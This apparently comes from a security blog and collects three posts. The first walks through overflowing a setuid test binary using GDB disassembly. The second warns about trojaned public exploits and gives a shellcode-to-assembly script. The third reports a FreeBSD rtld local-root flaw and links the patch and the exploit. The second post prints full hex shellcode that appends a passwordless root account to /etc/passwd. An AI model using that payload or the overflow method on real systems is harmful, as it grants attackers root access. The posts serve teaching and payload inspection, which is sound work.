Showing posts with label exploits. Show all posts
Showing posts with label exploits. Show all posts

Tuesday, April 16, 2013

Travels from the prison of $ to the realm of # [PART 1]

Beginning Notes:  
1. A modest amount of core knowledge is assumed.
2. A read of "Smashing The Stack for Fun and Profit" by Aleph One would be recommeded.
3. Point '2' doesn't guarante anything and for further queries refer to point '1' or ask away under comments.

To get the # symbol at a console is a local exploit's dream. But in the current privelaged land of root, it is not uncommon to face challanges. Lets take a simple example: a setuid root binary, data read from a file and echoed onto the stdout. Lets make this a little easier: the binary is not stripped. Lets make this a little more easier: ASLR & Stack Cookies are disabled... for now. At the same time, it's a 64 bit system, NX is enabled [Hardware Enforced] & we don't have the code.

Enough talking, lets get our hands dirty...

A sample run:

$> ./test
usage: ./test file_name
$> echo "hello" > foo
$> ./test foo
Data Read: hello


looks good, the program takes a filename as input, reads the file and echos the file contents on stdout.

lets try to spice it up a bit, run the program with input incremented by 100 characters each time:
for the character stream generation, we shall use good ol' python.

$> python -c "print 'A'*100" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
 
$> python -c "print 'A'*200" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... 


$> python -c "print 'A'*300" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...


Seems good till now, maybe the code isn't vulnerable, but that wouldn't be fun would it ;)
lets keep trying...

$> python -c "print 'A'*400" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]


$> python -c "print 'A'*500" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]

Maybe this is a lost cause, we might as well go and check our email...
"Patience my padawan learner"

$> python -c "print 'A'*600" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... 

Segmentation Fault (core dumped)

bullseye! segfault, the buffer doesn't seem to be unlimited afterall.
Looking at all the attempts, we can easily say that the buffer lies between 500 to 600 bytes.

Lets fireup GDB for a bit of code and stack analysis.

$> gdb test
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/sandman/test...(no debugging symbols found)...done.
(gdb) run foo
Starting program: /home/sandman/test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
0x00000000004007af in echo_me ()

Seems like the code segfaults in the function echo_me(), a little bit of disassembly required (thankfully the binary is not stripped)...

(gdb) disas echo_me
Dump of assembler code for function echo_me:
   0x00000000004006d4 <+0>:    push   %rbp
   0x00000000004006d5 <+1>:    mov    %rsp,%rbp
   0x00000000004006d8 <+4>:    sub    $0x240,%rsp
   0x00000000004006df <+11>:    mov    %rdi,-0x238(%rbp)
   0x00000000004006e6 <+18>:    mov    $0x4008ec,%edx
   0x00000000004006eb <+23>:    mov    -0x238(%rbp),%rax
   0x00000000004006f2 <+30>:    mov    %rdx,%rsi
   0x00000000004006f5 <+33>:    mov    %rax,%rdi
   0x00000000004006f8 <+36>:    callq  0x4005b0
   0x00000000004006fd <+41>:    mov    %rax,0x20053c(%rip)        # 0x600c40
   0x0000000000400704 <+48>:    mov    0x200535(%rip),%rax        # 0x600c40
   0x000000000040070b <+55>:    test   %rax,%rax
   0x000000000040070e <+58>:    jne    0x400724
   0x0000000000400710 <+60>:    mov    $0x4008ee,%edi
   0x0000000000400715 <+65>:    callq  0x400580
   0x000000000040071a <+70>:    mov    $0xffffffff,%edi
   0x000000000040071f <+75>:    callq  0x4005a0
   0x0000000000400724 <+80>:    mov    0x200515(%rip),%rax        # 0x600c40
   0x000000000040072b <+87>:    mov    $0x2,%edx
   0x0000000000400730 <+92>:    mov    $0x0,%esi
   0x0000000000400735 <+97>:    mov    %rax,%rdi
   0x0000000000400738 <+100>:    callq  0x400590
   0x000000000040073d <+105>:    mov    0x2004fc(%rip),%rax        # 0x600c40
   0x0000000000400744 <+112>:    mov    %rax,%rdi
   0x0000000000400747 <+115>:    callq  0x400570
   0x000000000040074c <+120>:    mov    %eax,-0x4(%rbp)
   0x000000000040074f <+123>:    mov    0x2004ea(%rip),%rax        # 0x600c40
   0x0000000000400756 <+130>:    mov    $0x0,%edx
   0x000000000040075b <+135>:    mov    $0x0,%esi
   0x0000000000400760 <+140>:    mov    %rax,%rdi
   0x0000000000400763 <+143>:    callq  0x400590
   0x0000000000400768 <+148>:    mov    0x2004d1(%rip),%rdx        # 0x600c40
   0x000000000040076f <+155>:    mov    -0x4(%rbp),%ecx
   0x0000000000400772 <+158>:    lea    -0x230(%rbp),%rax
   0x0000000000400779 <+165>:    mov    %ecx,%esi
   0x000000000040077b <+167>:    mov    %rax,%rdi
   0x000000000040077e <+170>:    callq  0x4005d0
   0x0000000000400783 <+175>:    mov    0x2004b6(%rip),%rax        # 0x600c40
   0x000000000040078a <+182>:    mov    %rax,%rdi
   0x000000000040078d <+185>:    callq  0x4005e0
   0x0000000000400792 <+190>:    mov    $0x4008fa,%eax
   0x0000000000400797 <+195>:    lea    -0x230(%rbp),%rdx
   0x000000000040079e <+202>:    mov    %rdx,%rsi
   0x00000000004007a1 <+205>:    mov    %rax,%rdi
   0x00000000004007a4 <+208>:    mov    $0x0,%eax
   0x00000000004007a9 <+213>:    callq  0x400560
   0x00000000004007ae <+218>:    leaveq
=> 0x00000000004007af <+219>:    retq  
End of assembler dump.
(gdb)


looking at the disassembly, its quite easy to get an idea of the code by a simple follow of the important @plt [procedure linkage table] calls...

function echo_me(){
    fopen(file)             | open the file
    fseek(till EOF)            --|
    ftell(file_des)                 |--> to calculate the length of the file
    fseek(till BOF)            --|   
    fgets(the string from the file)  | get the string from the file and store it in the buffer [the vulnerability lies here]
    fclose(file)                    | close the file
    printf(the string)          | print the string
}


looking at all this it is evident what the programmer has done. A buffer with a static size was defined, the file size was calculated and was read into the buffer. Finally, the buffer is displayed as the output.

Thursday, February 24, 2011

dangers of publicly disclosed weaponized exploits

POC (Proof Of Concept) exploits are very easy to find. One doesn't have to look further than a Google search for countless lists. Similarly, weaponized versions are also available through the same channels. Skiddies never had it so good when to comes to downloading, compiling and owning the next door neighbour's box. But sometimes such perfect pieces of art have a terrible secret.

Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!

Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.

There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.

As a simple example, lets take the following shellcode:


\x31\xc0\x40\x89\xc3\xcd\x80

Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).

I have written a small python script for this very purpose:

#!/usr/bin/python
#s4ndman - shellcode to assembly conversion script for shellcode inspection.

#Requires: ndisasm

import os
import sys
import binascii

if len(sys.argv) < 2:
    print "[i]run syntax:"
    print "[i]"+sys.argv[0]+" hexcode"
    print "[i]example:"
    print "[i]"+sys.argv[0]+" \\x31\\xc0\\x40\\x89\\xc3\\xcd\\x80"
    sys.exit()

try:
    f = open("binary", "wb")
except:
    print "[-]file create error!"
    sys.exit()

hstring = sys.argv[1].replace("\\x","")
hstring = hstring.replace("x","")
print "[+]normalized hexstring: "+hstring
hexstring = binascii.a2b_hex(hstring)
f.write(hexstring)
f.close()

print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("ndisasm -b 32 binary")
print "[++++++++++++++++ASM DUMP++++++++++++++++]"

os.system("rm binary")

sys.exit()
Lets try it shall we:
└─>>$] python2 shellcode_2_asm.py \x31\xc0\x40\x89\xc3\xcd\x80
[+]normalized hexstring: 31c04089c3cd80
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  31C0              xor eax,eax
00000002  40                   inc eax
00000003  89C3              mov ebx,eax
00000005  CD80              int 0x80
[++++++++++++++++ASM DUMP++++++++++++++++]
And there we go, the 32bit exit() syscall assembly.

Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:

python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  EB38              jmp short 0x3a
00000002  5E                  pop esi
00000003  31C0              xor eax,eax
00000005  88460B          mov [esi+0xb],al
00000008  88462B          mov [esi+0x2b],al
0000000B  C6462A0A      mov byte [esi+0x2a],0xa
0000000F  8D5E0C          lea ebx,[esi+0xc]
00000012  895E2C           mov [esi+0x2c],ebx
00000015  8D1E              lea ebx,[esi]
00000017  66B94204       mov cx,0x442
0000001B  66BAA401       mov dx,0x1a4
0000001F  B005              mov al,0x5
00000021  CD80              int 0x80
00000023  89C3              mov ebx,eax
00000025  31D2              xor edx,edx
00000027  8B4E2C          mov ecx,[esi+0x2c]
0000002A  B21F              mov dl,0x1f
0000002C  B004              mov al,0x4
0000002E  CD80              int 0x80
00000030  B006              mov al,0x6
00000032  CD80              int 0x80
00000034  B001              mov al,0x1
00000036  31DB              xor ebx,ebx
00000038  CD80              int 0x80
0000003A  E8C3FFFFFF    call dword 0x2
0000003F  2F                  das                 /*NOTE: This point onwards is the string
00000040  657463          gs jz 0xa6       *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043  2F                  das                 *The disassembler assumes the string as instructions
00000044  7061              jo 0xa7           *and creates the assembly for it.
00000046  7373              jnc 0xbb          *So it is safe to ignore all the code below.
00000048  .........
[++++++++++++++++ASM DUMP++++++++++++++++]

A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!

Saturday, May 1, 2010

Thursday, December 3, 2009

0day FreeBSD Exploit in the wild!!!

Users of FreeBSD are being pushed to update their software as a 0day exploit has been surfaced. The exploit gives full root access on any vulnerable system. Also it should be noted that it is a local exploit and not something that can be triggered remotely. The flaw affects versions 8.0 and 7.1 of FreeBSD. A post on the full disclosure mailing list read:
"The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like “ping” or “su”. With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details."
A patch is available and can be taken here: http://people.freebsd.org/~cperciva/rtld.patch

The actual exploit can be taken here: http://seclists.org/fulldisclosure/2009/Nov/371
Note: The exploit's link is provided for testing/experimentation purposes and not for malicious purposes.